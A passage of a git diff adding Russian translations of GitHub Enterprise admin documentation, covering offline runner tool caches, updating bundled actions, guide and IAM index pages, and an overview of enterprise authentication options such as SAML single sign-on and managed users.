/admin/github-actions/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access +versions: + ghes: '*' + ghae: '*' +type: tutorial +topics: + - Actions + - Enterprise + - Networking + - Storage +shortTitle: Tool cache for offline runners +ms.openlocfilehash: fe1b070880db8353064f1be5a26b0a63a5e92cf5 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147529299' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Сведения включенных действиях по настройке и кэше инструментов для средств выполнения + +{% data reusables.actions.enterprise-no-internet-actions %} + +Большинство официальных действий, созданных {% data variables.product.prodname_dotcom %}, автоматически объединяются с {% data variables.product.product_name %}. Однако для локально размещенных средств выполнения без доступа к Интернету требуется провести некоторые настройки, прежде чем они смогут использовать включенные действия `actions/setup-LANGUAGE`, такие как `setup-node`. + +Как правило, действиям `actions/setup-LANGUAGE` необходим доступ к Интернету, чтобы скачать нужные необходимые двоичные файлы среды в кэш инструментов для средств запуска. Локально размещенные средств выполнения без доступа к Интернету не могут скачивать двоичные файлы, поэтому необходимо вручную заполнить кэш инструментов в средстве выполнения. + +Для этого запустите рабочий процесс {% data variables.product.prodname_actions %} на сайте {% data variables.product.prodname_dotcom_the_website %}, который отправляет кэш инструментов размещенного в {% data variables.product.prodname_dotcom %} средства выполнения, в качестве артефакта, который затем можно передать и извлечь в локально размещенном средстве выполнения, отключенного от Интернета. + +{% note %} + +**Примечание.** Кэш размещенного в {% data variables.product.prodname_dotcom %} средства выполнения можно использовать только для локально размещенного средства выполнения, имеющего идентичную операционную систему и архитектуру. Например, если для создания кэша инструментов используется размещаемое {% data variables.product.prodname_dotcom %} средство выполнения `ubuntu-22.04`, локально размещенное средство выполнения должно быть 64-разрядным компьютером с Ubuntu 22.04. Дополнительные сведения о средствах выполнения тестов, размещенных в {% data variables.product.prodname_dotcom %}, см. в разделе [Сведения о средствах выполнения тестов, размещенных в {% data variables.product.prodname_dotcom %}](/free-pro-team@latest/actions/using-github-hosted-runners/about-github-hosted-runners#supported-runners-and-hardware-resources). + +{% endnote %} + +## Предварительные требования + +* Определите, какие среды разработки потребуются локально размещенным средствам выполнения. В следующем примере показано, как заполнить кэш инструментов для действия `setup-node` с помощью Node.js версий 10 и 12. +* Доступ к репозиторию на сайте {% data variables.product.prodname_dotcom_the_website %}, который можно использовать для выполнения рабочего процесса. +* Доступ к файловой системе локально размещенного средства выполнения для заполнения папки кэша инструментов. + +## Заполнение кэша инструментов для локально размещенного средства выполнения + +1. На сайте {% data variables.product.prodname_dotcom_the_website %} перейдите в репозиторий, который можно использовать для выполнения рабочего процесса {% data variables.product.prodname_actions %}. +1. В папке `.github/workflows` репозитория создайте файл рабочего процесса, который отправляет артефакт, содержащий кэш инструментов средства выполнения, размещенного в {% data variables.product.prodname_dotcom %}. + + В следующем примере демонстрируется рабочий процесс, который отправляет кэш инструментов для среды Ubuntu 22.04, используя действие `setup-node` с Node.js версий 10 и 12. + + ```yaml + name: Upload Node.js 10 and 12 tool cache + on: push + jobs: + upload_tool_cache: + runs-on: ubuntu-22.04 + steps: + - name: Clear any existing tool cache + run: | + mv "{% raw %}${{ runner.tool_cache }}" "${{ runner.tool_cache }}.old"{% endraw %} + mkdir -p "{% raw %}${{ runner.tool_cache }}{% endraw %}" + - name: Setup Node 10 + uses: {% data reusables.actions.action-setup-node %} + with: + node-version: 10.x + - name: Setup Node 12 + uses: {% data reusables.actions.action-setup-node %} + with: + node-version: 12.x + - name: Archive tool cache + run: | + cd "{% raw %}${{ runner.tool_cache }}{% endraw %}" + tar -czf tool_cache.tar.gz * + - name: Upload tool cache artifact + uses: {% data reusables.actions.action-upload-artifact %} + with: + path: {% raw %}${{runner.tool_cache}}/tool_cache.tar.gz{% endraw %} + ``` +1. Скачайте артефакт кэша инструментов из выполнения рабочего процесса. Инструкции по скачиванию артефактов см. в статье "[Скачивание артефактов рабочего процесса](/actions/managing-workflow-runs/downloading-workflow-artifacts)". +1. Перенесите артефакт кэша инструментов в локально размещенное средство выполнения и извлеките его в локальный каталог кэша инструментов. Каталог кэша инструментов по умолчанию — `RUNNER_DIR/_work/_tool` Если средство выполнения еще не обработало никаких заданий, может потребоваться создать каталоги `_work/_tool`. + + После извлечения артефакта кэша инструментов, отправленного в приведенном выше примере, у вас должна быть структура каталогов в локально размещенном средстве выполнения, аналогичная приведенной в следующем примере: + + ``` + RUNNER_DIR + ├── ... + └── _work + ├── ... + └── _tool + └── node + ├── 10.22.0 + │ └── ... + └── 12.18.3 + └── ... + ``` + +Теперь локально размещенное средство выполнения без доступа к Интернету может использовать действие `setup-node`. Если у вас возникли проблемы, убедитесь, что заполнен правильный кэш инструментов для рабочих процессов. Например, если необходимо использовать действие `setup-python`, необходимо заполнить кэш инструментов нужным окружением Python. diff --git a/translations/ru-RU/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md b/translations/ru-RU/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md new file mode 100644 index 000000000000..585957f8c6a4 --- /dev/null +++ b/translations/ru-RU/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md @@ -0,0 +1,54 @@ +--- +title: Using the latest version of the official bundled actions +intro: 'You can update the actions that are bundled with your enterprise, or use actions directly from {% data variables.product.prodname_dotcom_the_website %}.' +versions: + ghes: '*' + ghae: '*' +type: how_to +topics: + - Actions + - Enterprise + - GitHub Connect +redirect_from: + - /admin/github-actions/using-the-latest-version-of-the-official-bundled-actions +shortTitle: Use the latest bundled actions +--- +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +Your enterprise instance includes a number of built-in actions that you can use in your workflows. For more information about the bundled actions, see "[Official actions bundled with your enterprise instance](/admin/github-actions/about-using-actions-in-your-enterprise#official-actions-bundled-with-your-enterprise-instance)." + +These bundled actions are a point-in-time snapshot of the official actions found at https://github.com/actions, so there may be newer versions of these actions available. You can use the `actions-sync` tool to update these actions, or you can configure {% data variables.product.prodname_github_connect %} to allow access to the latest actions on {% data variables.product.prodname_dotcom_the_website %}. These options are described in the following sections. + +## Using `actions-sync` to update the bundled actions + +To update the bundled actions, you can use the `actions-sync` tool to update the snapshot. For more information on using `actions-sync`, see "[Manually syncing actions from {% data variables.product.prodname_dotcom_the_website %}](/admin/github-actions/manually-syncing-actions-from-githubcom)." + +## Using {% data variables.product.prodname_github_connect %} to access the latest actions + +You can use {% data variables.product.prodname_github_connect %} to allow {% data variables.product.product_name %} to use actions from {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)." + +Once {% data variables.product.prodname_github_connect %} is configured, you can use the latest version of an action by deleting its local repository in the `actions` organization on your instance. For example, if your enterprise instance is using `v1` of the `actions/checkout` action, and you need to use `{% data reusables.actions.action-checkout %}` which isn't available on your enterprise instance, perform the following steps to be able to use the latest `checkout` action from {% data variables.product.prodname_dotcom_the_website %}: + +1. From an enterprise owner account on {% data variables.product.product_name %}, navigate to the repository you want to delete from the *actions* organization (in this example `checkout`). +1. By default, site administrators are not owners of the bundled *actions* organization. To get the access required to delete the `checkout` repository, you must use the site admin tools. Click {% octicon "rocket" aria-label="The rocket ship" %} in the upper-right corner of any page in that repository. + ![Rocketship icon for accessing site admin settings](/assets/images/enterprise/site-admin-settings/access-new-settings.png) +1. Click {% octicon "shield-lock" %} **Security** to see the security overview for the repository. + ![Security header the repository](/assets/images/enterprise/site-admin-settings/access-repo-security-info.png) +1. Under "Privileged access", click **Unlock**. + ![Unlock button](/assets/images/enterprise/site-admin-settings/unlock-priviledged-repo-access.png) +1. Under **Reason**, type a reason for unlocking the repository, then click **Unlock**. + ![Confirmation dialog](/assets/images/enterprise/site-admin-settings/confirm-unlock-repo-access.png) +1. Now that the repository is unlocked, you can leave the site admin pages and delete the repository within the `actions` organization. At the top of the page, click the repository name, in this example **checkout**, to return to the summary page. + ![Repository name link](/assets/images/enterprise/site-admin-settings/display-repository-admin-summary.png) +1. Under "Repository info", click **View code** to leave the site admin pages and display the `checkout` repository. +1. Delete the `checkout` repository within the `actions` organization. For information on how to delete a repository, see "[Deleting a repository](/github/administering-a-repository/deleting-a-repository)." + ![View code link](/assets/images/enterprise/site-admin-settings/exit-admin-page-for-repository.png) +1. Configure your workflow's YAML to use `{% data reusables.actions.action-checkout %}`. +1. Each time your workflow runs, the runner will use the specified version of `actions/checkout` from {% data variables.product.prodname_dotcom_the_website %}. + + {% note %} + + **Note:** The first time the `checkout` action is used from {% data variables.product.prodname_dotcom_the_website %}, the `actions/checkout` namespace is automatically retired on {% data variables.location.product_location %}. If you ever want to revert to using a local copy of the action, you first need to remove the namespace from retirement. For more information, see "[Automatic retirement of namespaces for actions accessed on {% data variables.product.prodname_dotcom_the_website%}](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect#automatic-retirement-of-namespaces-for-actions-accessed-on-githubcom)." + + {% endnote %} diff --git a/translations/ru-RU/content/admin/github-actions/using-github-actions-in-github-ae/index.md b/translations/ru-RU/content/admin/github-actions/using-github-actions-in-github-ae/index.md new file mode 100644 index 000000000000..d531ab794671 --- /dev/null +++ b/translations/ru-RU/content/admin/github-actions/using-github-actions-in-github-ae/index.md @@ -0,0 +1,16 @@ +--- +title: "Использование GitHub\_Actions в GitHub\_AE" +intro: 'Сведения о настройке {% data variables.product.prodname_actions %} для {% data variables.product.prodname_ghe_managed %}.' +versions: + ghae: '*' +children: + - /using-actions-in-github-ae +shortTitle: Use Actions in GitHub AE +ms.openlocfilehash: ad3e900295b688fef4c4df7fae89595b9d9f4c4f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145116672' +--- + diff --git a/translations/ru-RU/content/admin/github-actions/using-github-actions-in-github-ae/using-actions-in-github-ae.md b/translations/ru-RU/content/admin/github-actions/using-github-actions-in-github-ae/using-actions-in-github-ae.md new file mode 100644 index 000000000000..0c8301bc877f --- /dev/null +++ b/translations/ru-RU/content/admin/github-actions/using-github-actions-in-github-ae/using-actions-in-github-ae.md @@ -0,0 +1,30 @@ +--- +title: Использование действий в GitHub AE +intro: '{% data variables.product.prodname_ghe_managed %} включает большинство действий {% data variables.product.prodname_dotcom %}, созданных пользователем.' +versions: + ghae: '*' +type: how_to +topics: + - Actions + - Enterprise +redirect_from: + - /admin/github-actions/using-actions-in-github-ae +shortTitle: Use actions +ms.openlocfilehash: a8439a08f73667b7d048b31e2c9eb3968ba2e957 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145120371' +--- +Рабочие процессы {% data variables.product.prodname_actions %} могут использовать _действия_, представляющие собой отдельные задачи, которые можно объединить для создания заданий и настройки рабочего процесса. Вы можете создавать собственные действия или использовать и настраивать действия, которые предоставляются сообществом {% data variables.product.prodname_dotcom %}. + +## Официальные действия, объединенные с {% data variables.product.prodname_ghe_managed %} + +Большинство официальных действий, созданных {% data variables.product.prodname_dotcom %}, автоматически объединяются с {% data variables.product.prodname_ghe_managed %} и сканируются в определенный момент времени из {% data variables.product.prodname_marketplace %}. Когда ваш экземпляр {% data variables.product.prodname_ghe_managed %}. обновляется, объединенные официальные действия также обновляются. + +К объединенным официальным действиям относятся, в частности, действия `actions/checkout`, `actions/upload-artifact`, `actions/download-artifact`, `actions/labeler` и различные действия `actions/setup-`. Чтобы узнать, какие из официальных действий включены, перейдите к следующим организациям в вашем экземпляре: +- https://HOSTNAME/actions +- https://HOSTNAME/github + +Файлы каждого действия хранятся в репозитории в организациях `actions` и `github`. Каждый репозиторий действий включает необходимые теги, ветви и SHA фиксаций, которые рабочие процессы могут использовать для ссылки на действие. diff --git a/translations/ru-RU/content/admin/guides.md b/translations/ru-RU/content/admin/guides.md new file mode 100644 index 000000000000..a6175cfe026f --- /dev/null +++ b/translations/ru-RU/content/admin/guides.md @@ -0,0 +1,157 @@ +--- +title: Руководства по GitHub Enterprise +shortTitle: Guides +intro: 'Узнайте, как повысить продуктивность разработчиков и качество кода с помощью {% data variables.product.product_name %}.' +allowTitleToDifferFromFilename: true +layout: product-guides +versions: + ghec: '*' + ghes: '*' + ghae: '*' +learningTracks: + - '{% ifversion ghec %}get_started_with_your_enterprise_account{% endif %}' + - '{% ifversion ghae %}get_started_with_github_ae{% endif %}' + - '{% ifversion ghes %}deploy_an_instance{% endif %}' + - '{% ifversion ghes %}upgrade_your_instance{% endif %}' + - adopting_github_actions_for_your_enterprise_ghec + - adopting_github_actions_for_your_enterprise_ghes_and_ghae + - '{% ifversion ghes %}increase_fault_tolerance{% endif %}' + - '{% ifversion ghes %}improve_security_of_your_instance{% endif %}' + - '{% ifversion ghes > 2.22 %}configure_github_actions{% endif %}' + - '{% ifversion ghes > 2.22 %}configure_github_advanced_security{% endif %}' +includeGuides: + - /admin/authentication/allowing-built-in-authentication-for-users-outside-your-identity-provider + - /admin/authentication/changing-authentication-methods + - /admin/authentication/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad + - /admin/authentication/configuring-saml-single-sign-on-for-your-enterprise + - /admin/authentication/configuring-user-provisioning-for-your-enterprise + - /admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise + - /admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise + - /admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta + - /admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise + - /admin/authentication/managing-identity-and-access-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account + - /admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users + - /admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users + - /admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users + - /admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users-with-okta + - /admin/authentication/managing-your-enterprise-users-with-your-identity-provider/managing-team-memberships-with-identity-provider-groups + - /admin/authentication/using-cas + - /admin/authentication/using-ldap + - /admin/authentication/using-saml + - /admin/configuration/accessing-the-administrative-shell-ssh + - /admin/configuration/accessing-the-management-console + - /admin/configuration/configuring-a-hostname + - /admin/configuration/configuring-backups-on-your-appliance + - /admin/configuration/configuring-built-in-firewall-rules + - /admin/configuration/configuring-code-scanning-for-your-appliance + - /admin/configuration/configuring-data-encryption-for-your-enterprise + - /admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-dependency-review-for-your-appliance + - /admin/configuration/configuring-dns-nameservers + - /admin/configuration/configuring-rate-limits + - /admin/configuration/configuring-secret-scanning-for-your-appliance + - /admin/configuration/configuring-tls + - /admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise + - /admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise + - /admin/configuration/connecting-your-enterprise-account-to-github-enterprise-cloud + - /admin/configuration/configuring-your-enterprise/configuring-ssh-connections-to-your-instance + - /admin/configuration/configuring-your-enterprise/configuring-host-keys-for-your-instance + - /admin/configuration/enabling-and-scheduling-maintenance-mode + - /admin/configuration/configuring-github-connect/enabling-automatic-user-license-sync-for-your-enterprise + - /admin/configuration/enabling-private-mode + - /admin/configuration/enabling-subdomain-isolation + - /admin/configuration/configuring-github-connect/enabling-unified-contributions-for-your-enterprise + - /admin/configuration/configuring-github-connect/enabling-unified-search-for-your-enterprise + - /admin/configuration/initializing-github-ae + - /admin/configuration/network-ports + - /admin/configuration/restricting-network-traffic-to-your-enterprise + - /admin/configuration/site-admin-dashboard + - /admin/configuration/troubleshooting-ssl-errors + - /admin/configuration/using-github-enterprise-server-with-a-load-balancer + - /admin/enterprise-management/about-high-availability-configuration + - /admin/enterprise-management/accessing-the-monitor-dashboard + - /admin/enterprise-management/creating-a-high-availability-replica + - /admin/enterprise-management/differences-between-clustering-and-high-availability-ha + - /admin/enterprise-management/enabling-automatic-update-checks + - /admin/enterprise-management/initiating-a-failover-to-your-replica-appliance + - /admin/enterprise-management/recommended-alert-thresholds + - /admin/enterprise-management/setting-up-external-monitoring + - /admin/enterprise-management/upgrade-requirements + - /admin/enterprise-management/upgrading-github-enterprise-server + - /admin/enterprise-management/monitoring-your-appliance/about-system-logs + - /admin/enterprise-support/about-github-enterprise-support + - /admin/github-actions/about-using-actions-in-your-enterprise + - /admin/github-actions/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled + - /admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect + - /admin/github-actions/enforcing-github-actions-policies-for-your-enterprise + - /admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server + - /admin/github-actions/high-availability-for-github-actions + - /admin/github-actions/using-a-staging-environment + - /admin/overview/about-data-residency + - /admin/overview/about-enterprise-accounts + - /admin/overview/about-github-ae + - /admin/overview/about-upgrades-to-new-releases + - /admin/packages/configuring-package-ecosystem-support-for-your-enterprise + - /admin/packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages + - /admin/policies/about-pre-receive-hooks + - /admin/policies/creating-a-pre-receive-hook-environment + - /admin/policies/creating-a-pre-receive-hook-script + - /admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise + - /admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise + - /admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise + - /admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise + - /admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-projects-in-your-enterprise + - /admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise + - /admin/policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise + - /admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise + - /admin/policies/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance + - /admin/user-management/about-migrations + - /admin/user-management/adding-people-to-teams + - /admin/user-management/auditing-ssh-keys + - /admin/user-management/auditing-users-across-your-enterprise + - /admin/user-management/configuring-git-large-file-storage-for-your-enterprise + - /admin/user-management/configuring-visibility-for-organization-membership + - /admin/user-management/continuous-integration-using-jenkins + - /admin/user-management/creating-teams + - /admin/user-management/disabling-git-ssh-access-on-your-enterprise + - /admin/user-management/exporting-migration-data-from-githubcom + - /admin/user-management/exporting-migration-data-from-your-enterprise + - /admin/user-management/importing-data-from-third-party-version-control-systems + - /admin/user-management/managing-dormant-users + - /admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise + - /admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise + - /admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise + - /admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/configuring-the-audit-log-for-your-enterprise + - /admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise + - /admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise + - /admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise + - /admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise + - /admin/monitoring-activity-in-your-enterprise/exploring-user-activity/activity-dashboard + - /admin/monitoring-activity-in-your-enterprise/exploring-user-activity/viewing-push-logs + - /admin/monitoring-activity-in-your-enterprise/exploring-user-activity/log-forwarding + - /admin/monitoring-activity-in-your-enterprise/exploring-user-activity/managing-global-webhooks + - /admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise + - /admin/user-management/managing-projects-using-jira + - /admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise + - /admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise + - /admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise + - /admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise + - /admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise + - /admin/user-management/migrating-data-to-your-enterprise + - /admin/user-management/migrating-to-internal-repositories + - /admin/user-management/placing-a-legal-hold-on-a-user-or-organization + - /admin/user-management/preparing-to-migrate-data-to-your-enterprise + - /admin/user-management/preventing-users-from-creating-organizations + - /admin/user-management/rebuilding-contributions-data + - /admin/user-management/removing-users-from-teams-and-organizations + - /admin/user-management/requiring-two-factor-authentication-for-an-organization + - /admin/user-management/suspending-and-unsuspending-users + - /admin/overview/creating-an-enterprise-account + - /admin/user-management/managing-organizations-in-your-enterprise/restoring-a-deleted-organization +ms.openlocfilehash: 832e990d9b1c30895fce286f1357ef540a96af6f +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147854127' +--- + diff --git a/translations/ru-RU/content/admin/identity-and-access-management/index.md b/translations/ru-RU/content/admin/identity-and-access-management/index.md new file mode 100644 index 000000000000..477ee3ba03e1 --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/index.md @@ -0,0 +1,25 @@ +--- +title: Identity and access management +intro: 'You can configure how people access {% ifversion ghec or ghae %}your enterprise on {% data variables.product.product_name %}{% elsif ghes %}{% data variables.location.product_location %}{% endif %}.' +redirect_from: + - /enterprise/admin/authentication + - /admin/authentication +versions: + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - Accounts + - Authentication + - Enterprise + - SSO +children: + - /managing-iam-for-your-enterprise + - /using-built-in-authentication + - /using-cas-for-enterprise-iam + - /using-ldap-for-enterprise-iam + - /using-saml-for-enterprise-iam + - /using-enterprise-managed-users-for-iam + - /managing-recovery-codes-for-your-enterprise +--- + diff --git a/translations/ru-RU/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise.md b/translations/ru-RU/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise.md new file mode 100644 index 000000000000..1a3cdb039631 --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise.md @@ -0,0 +1,152 @@ +--- +title: Сведения о проверке подлинности для вашей организации +shortTitle: About authentication +intro: 'Вам {% ifversion ghae %}необходимо настроить единый вход SAML, чтобы пользователи{% else %}могли выбрать способ проверки подлинности пользователей{% endif %} для доступа к {% ifversion ghec %}ресурсам вашей организации {% data variables.product.product_name %}{% elsif ghes %}{% data variables.location.product_location %}{% elsif ghae %}ваше предприятие на {% data variables.product.product_name %}{% endif %}.' +versions: + ghec: '*' + ghes: '*' + ghae: '*' +type: overview +topics: + - Accounts + - Authentication + - Enterprise + - Identity + - SSO +ms.openlocfilehash: 16b5bdd98e37db2eef6fe7e4e02da1a4ce8fd406 +ms.sourcegitcommit: 34d500fe45b362043b4b4685d6705a7bfb484d11 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/15/2022 +ms.locfileid: '148164375' +--- +## Сведения о проверке подлинности для вашей организации + +{% ifversion ghec %} + +Владельцы организации в {% data variables.product.product_name %} могут управлять требованиями к проверке подлинности и доступу к ресурсам организации. + +{% data reusables.enterprise.ghec-authentication-options %} + +Чтобы определить, какой метод лучше всего подходит для вашего предприятия, после изучения этих вариантов см. раздел [Определение лучшего метода проверки подлинности для вашего предприятия](#identifying-the-best-authentication-method-for-your-enterprise). + +## Методы проверки подлинности для {% data variables.product.product_name %} + +Для управления учетными записями и проверки подлинности в {% data variables.product.product_name %} доступны следующие параметры. + +- [Проверка подлинности с помощью {% data variables.location.product_location %}](#authentication-through-githubcom) +- [Проверка подлинности с помощью {% data variables.location.product_location %} с дополнительным ограничением доступа SAML](#authentication-through-githubcom-with-additional-saml-access-restriction) +- [Проверка подлинности с помощью {% data variables.product.prodname_emus %} и федерации](#authentication-with-enterprise-managed-users-and-federation) + +### Проверка подлинности с помощью {% data variables.location.product_location %} + +По умолчанию каждый участник должен создать личную учетную запись в {% data variables.location.product_location %}. Вы предоставляете доступ к предприятию, а участник может получить доступ к ресурсам предприятия после входа в учетную запись на {% data variables.location.product_location %}. Участник управляет учетной записью и может вносить свой вклад в другие предприятия, организации и репозитории в {% data variables.location.product_location %}. + +### Проверка подлинности с помощью {% data variables.location.product_location %} с дополнительным ограничением доступа SAML + +При настройке дополнительного ограничения доступа SAML каждый участник должен создать личную учетную запись и управлять ею в {% data variables.location.product_location %}. Вы предоставляете доступ к своему предприятию, и участник может получить доступ к ресурсам предприятия после входа в учетную запись {% data variables.location.product_location %} и успешной проверки подлинности с помощью поставщика удостоверений SAML (IdP). Участник может участвовать в работе с другими предприятиями, организациями и репозиториями в {% data variables.location.product_location %} с помощью личной учетной записи. Дополнительные сведения о необходимости проверки подлинности SAML для полного доступа к ресурсам организации см. в разделе [Сведения о SAML для IAM организации](/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam). + +Если вы используете изолированную организацию с {% data variables.product.product_name %} или не хотите использовать проверку подлинности SAML для каждой организации в вашей корпорации, можно настроить SAML для отдельной организации. Дополнительные сведения см. в разделе [Сведения об управлении удостоверениями и доступом с помощью единого входа SAML](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on). + +### Проверка подлинности с помощью {% data variables.product.prodname_emus %} и федерации + +Если вам нужен дополнительный контроль над учетными записями для участников предприятия в {% data variables.location.product_location %}, можно использовать {% data variables.product.prodname_emus %}. С помощью {% data variables.product.prodname_emus %} вы подготавливаете учетные записи для участников предприятия и управляете ими в {% data variables.location.product_location %} с помощью поставщика удостоверений. Каждый участник входит в созданную вами учетную запись, а организация управляет учетной записью. Вклады в остальные данные {% data variables.product.prodname_dotcom_the_website %} ограничены. Дополнительные сведения см. в разделе [Сведения о {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users). + +## Определение лучшего метода проверки подлинности для вашего предприятия + +Единый вход SAML и {% data variables.product.prodname_emus %} повышают безопасность ресурсов вашего предприятия. {% data variables.product.prodname_emus %} дополнительно позволяет вам управлять учетными записями пользователей для членов вашего предприятия и ограничивает возможности учетных записей. Однако эти ограничения могут оказаться неприемлемыми для вашего предприятия, если они мешают рабочим процессам ваших разработчиков. + +Чтобы определить, что принесет вашему предприятию больше преимуществ от единого входа SAML или {% data variables.product.prodname_emus %}, задайте себе эти вопросы. + +- [Вы хотите контролировать учетные записи пользователей для ваших пользователей?](#do-you-want-to-control-the-user-accounts-for-your-users) +- [Какого поставщика удостоверений использует ваше предприятие?](#which-identity-provider-does-your-enterprise-use) +- [Работают ли ваши разработчики с общедоступными репозиториями, gist или сайтами {% data variables.product.prodname_pages %}?](#do-your-developers-work-in-public-repositories-gists-or-github-pages-sites) +- [Полагаются ли ваши разработчики на совместную работу за пределами вашего предприятия?](#do-your-developers-rely-on-collaboration-outside-of-your-enterprise) +- [Полагается ли ваше предприятие на внешних участников совместной работы?](#does-your-enterprise-rely-on-outside-collaborators) +- [Может ли ваше предприятие позволить себе расходы на миграцию?](#can-your-enterprise-tolerate-migration-costs) + +### Вы хотите контролировать учетные записи пользователей для ваших пользователей? + +{% data variables.product.prodname_emus %} может подойти вашему предприятию, если вы не хотите, чтобы корпоративные участники использовали свои личные учетные записи на {% data variables.product.prodname_dotcom_the_website %} для доступа к ресурсам вашего предприятия. + +С помощью единого входа SAML разработчики создают свои личные учетные записи и управляют ими, при этом каждая учетная запись связана с удостоверением SAML в вашем поставщике удостоверений. Продукт {% data variables.product.prodname_emus %} больше похож на другие знакомые решения единого входа, так как вы предоставляете учетные записи для своих пользователей. Вы также можете обеспечить соответствие учетных записей пользователей удостоверению вашей компании, контролируя имена пользователей и адреса электронной почты, связанные с учетными записями. + +Если сейчас вы требуете, чтобы ваши пользователи создавали новую учетную запись на {% data variables.product.prodname_dotcom_the_website %} только для вашего предприятия, вам может подойти {% data variables.product.prodname_emus %}. Однако единый вход SAML может быть лучшим вариантом, если ваш поставщик удостоверений используется в качестве достоверного источника для вашего пользователя, а управление доступом усложняет работу. Например, возможно, на вашем предприятии не установлен процесс регистрации новых пользователей в вашем поставщике удостоверений. + +### Какого поставщика удостоверений использует ваше предприятие? + +{% data variables.product.prodname_emus %} поддерживается для ограниченного числа поставщиков удостоверений, в то время как единый вход SAML обеспечивает полную поддержку для большего числа поставщиков удостоверений, а также ограниченную поддержку для всех поставщиков удостоверений, реализующих стандарт SAML 2.0. Список поддерживаемых поставщиков удостоверений для каждого варианта см. в разделах [О {% data variables.product.prodname_emus 